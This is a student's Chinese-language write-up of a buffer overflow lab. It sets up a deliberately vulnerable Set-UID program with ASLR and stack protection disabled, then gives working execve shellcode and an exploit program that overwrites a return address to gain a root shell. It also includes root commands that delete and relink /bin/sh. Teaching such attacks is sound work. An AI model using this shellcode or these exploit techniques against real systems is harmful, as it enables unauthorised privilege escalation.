緩沖區溢出漏洞實驗
一、實驗簡介
緩沖區溢出是指程序試圖向緩沖區寫入超出預分配固定長度數據的情況。這一漏洞可以被惡意用戶利用來改變程序的流控制，甚至執行代碼的任意片段。這一漏洞的出現是由於數據緩沖器和返回地址的暫時關閉，溢出會引起返回地址被重寫。
二、實驗准備
系統用戶名shiyanlou
實驗樓提供的是64位Ubuntu linux，而本次實驗為了方便觀察匯編語句，我們需要在32位環境下作操作，因此實驗之前需要做一些准備。
1、輸入命令安裝一些用於編譯32位C程序的東西：
sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev
2、輸入命令“linux32”進入32位linux環境，輸入“/bin/bash”使用bash
三、實驗步驟
3.1 初始設置
Ubuntu和其他一些Linux系統中，使用地址空間隨機化來隨機堆（heap）和棧（stack）的初始地址，這使得猜測准確的內存地址變得十分困難，而猜測內存地址是緩沖區溢出攻擊的關鍵。因此本次實驗中，我們使用以下命令關閉這一功能：
sudo sysctl -w kernel.randomize_va_space=0
此外，為了進一步防范緩沖區溢出攻擊及其它利用shell程序的攻擊，許多shell程序在被調用時自動放棄它們的特權。因此，即使你能欺騙一個Set-UID程序調用一個shell，也不能在這個shell中保持root權限，這個防護措施在/bin/bash中實現。
linux系統中，/bin/sh實際是指向/bin/bash或/bin/dash的一個符號鏈接。為了重現這一防護措施被實現之前的情形，我們使用另一個shell程序（zsh）代替/bin/bash。下面的指令描述了如何設置zsh程序：
sudo su
cd /bin
rm sh
ln -s zsh sh
exit
3.2 shellcode
一般情況下，緩沖區溢出會造成程序崩潰，在程序中，溢出的數據覆蓋了返回地址。而如果覆蓋返回地址的數據是另一個地址，那么程序就會跳轉到該地址，如果該地址存放的是一段精心設計的代碼用於實現其他功能，這段代碼就是shellcode。
觀察以下代碼：
#include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}
本次實驗的shellcode，就是剛才代碼的匯編版本：
\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80
3.3 漏洞程序
把以下代碼保存為“stack.c”文件，保存到 /tmp 目錄下。代碼如下：
/* stack.c */
/* This program has a buffer overflow vulnerability. */
/* Our task is to exploit this vulnerability */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
int bof(char *str)
{
char buffer[12];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
通過代碼可以知道，程序會讀取一個名為“badfile”的文件，並將文件內容裝入“buffer”。
編譯該程序，並設置SET-UID。命令如下：
sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit
GCC編譯器有一種棧保護機制來阻止緩沖區溢出，所以我們在編譯代碼時需要用 –fno-stack-protector 關閉這種機制。
而 -z execstack 用於允許執行棧。
3.4 攻擊程序
我們的目的是攻擊剛才的漏洞程序，並通過攻擊獲得root權限。
把以下代碼保存為“exploit.c”文件，保存到 /tmp 目錄下。代碼如下：
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代碼，\x??\x??\x??\x??處需要添上shellcode保存在內存中的地址，因為發生溢出后這個位置剛好可以覆蓋返回地址。
而 strcpy(buffer+100,shellcode); 這一句又告訴我們，shellcode保存在 buffer+100 的位置。
現在我們要得到shellcode在內存中的地址，輸入命令：
gdb stack
disass main
結果如圖：
接下來的操作：
根據語句 strcpy(buffer+100,shellcode); 我們計算shellcode的地址為 0xffffd020(十六進制)+100(十進制)=0xffffd084(十六進制)
現在修改exploit.c文件！將 \x??\x??\x??\x?? 修改為 \x84\xd0\xff\xff
然后，編譯exploit.c程序：
gcc -m32 -o exploit exploit.c
3.5 攻擊結果
先運行攻擊程序exploit，再運行漏洞程序stack，觀察結果：
可見，通過攻擊，獲得了root權限！
（如果不能攻擊成功，提示”段錯誤“，那么請重新使用gdb反匯編，計算內存地址。）
四、練習
1、按照實驗步驟進行操作，攻擊漏洞程序並獲得root權限。
2、通過命令”sudo sysctl -w kernel.randomize_va_space=2“打開系統的地址空間隨機化機制，重復用exploit程序攻擊stack程序，觀察能否攻擊成功，能否獲得root權限。
會發現沒有攻擊成功，沒有取得root權限
3、將/bin/sh重新指向/bin/bash（或/bin/dash），觀察能否攻擊成功，能否獲得root權限。
這個問題我不知道怎么做。
五、補充內容
試驗中並沒有說怎么把shellcode變成匯編碼，可以通過
gcc -o shellcode -ggdb -static shellcode.c
gdb shellcode
disassemble main
來實現。
六、問題及解決
- 首先,最重要的問題——這個實驗一定要在實驗樓上做，千萬不要在自己的虛擬機上做，因為這個試驗中涉及到了Bash Shell的問題。Shell是什么呢？確切一點說，Shell就是一個命令行解釋器，它的作用就是遵循一定的語法將輸入的命令加以解釋並傳給系統。它為用戶提供了一個向Linux發送請求以便運行程序的接口系統級程序，用戶可以用Shell來啟動、掛起、停止甚至是編寫一些程序。Shell本身是一個用C語言編寫的程序，它是用戶使用Linux的橋梁。Shell既是一種命令語言，又是一種程序設計語言(就是shell腳本)。作為命令語言，它互動式地解釋和執行用戶輸入的命令；作為程序設計語言，它定義了各種變量和參數，並提供了許多在高階語言中才具有的控制結構，包括循環和分支。它雖然不是 Linux系統內核的一部分，但它調用了系統內核的大部分功能來執行程序、創建文檔並以並行的方式協調各個程序的運行。在本次試驗中會改變shell腳本，如果在自己的虛擬機上做會導致出現腳本問題而使虛擬機崩潰，我在做的時候就出現了這個問題，所以以后我們最好在做任何實驗前先將自己的虛擬機備份一份，這樣出現問題也好解決。
- 還有一個很重要的問題就是同學們一定要養成git的習慣，尤其是平時在實驗樓上敲代碼的同學，因為實驗樓時間限制的問題，導致一旦因為一些其他因素錯過了時間就會導致前面辛辛苦苦敲得代碼功虧一簣。在實驗樓上有為用戶提供的實驗環境內置的公開的git服務，可以把代碼git到專屬代碼庫。
- 還有就是在實驗時最開始進入Linux32環境以后中途不要退出環境，我在一開始做的時候退出了32位環境，然后在最后攻擊的時候再進入環境，然后就出現了段錯誤，我檢查了好幾遍也沒有發現問題在哪，最后重新做了一遍，這次沒有退出環境，然后成功了。結論就是一開始對題目的不完全理解和對細節的不注意，就會導致一步錯步步錯，做了很多無用功。
七、參考資料
緩沖區溢出的含義是為緩沖區提供了多於其存儲容量的數據，就像往杯子里倒入了過量的水一樣。通常情況下，緩沖區溢出的數據只會破壞程序數據，造成意外終止。但是如果有人精心構造溢出數據的內容，那么就有可能獲得系統的控制權！如果說用戶（也可能是黑客）提供了水——緩沖區溢出攻擊的數據，那么系統提供了溢出的容器——緩沖區。